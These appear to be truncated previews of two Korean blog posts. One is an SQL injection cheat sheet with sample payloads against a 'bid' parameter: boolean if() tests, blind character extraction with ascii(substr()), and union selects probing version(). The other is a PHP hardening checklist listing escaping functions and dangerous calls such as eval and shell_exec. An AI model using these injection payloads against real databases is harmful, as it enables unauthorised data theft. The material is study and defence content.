2. SQL INJECTION CHEAT SHEET (SQL 인젝션)
1. ?bid=if(1=1,52,2) : select bid from board where bid=if(1=1,52,2); 2. ?bid=if((1)like(1),1,2)# : select if((1)like(1),1,2); : select instr(1,1); 3. ?bid=52 or bid=if((select(ascii(substr((select(bid)from(board)where(bid)like(52)),1,1))))=1,52,0) 4. ?bid=52 union select (1)# : select bid from board where bid=52 union select (1); 5. ?bid=52 union select (version())# : select bid from board where..
2019. 10. 20.
1. PHP Security
1. PHP Version Update / Patch 2. Register_globals 3. Apache AddHandler 4. Prepared Statements 5. PDO 6. htmlentities, htmlspecialchars (&, "", '', ) 7. mysql_real_ecape_string : \x00, \n, \r, \, ', ", \x1a - x00 = 숫자 0을 의미 / \n Line Feed (다음줄) / \r Carriage Return (해당 줄의 맨 앞줄) / \x1a Ctrl+Z = EoF 8. addslashes : ', ", \, null 9. eval, exec, shell_exec, proc_open, popen, passthru 10. file, system..
2019. 10. 20.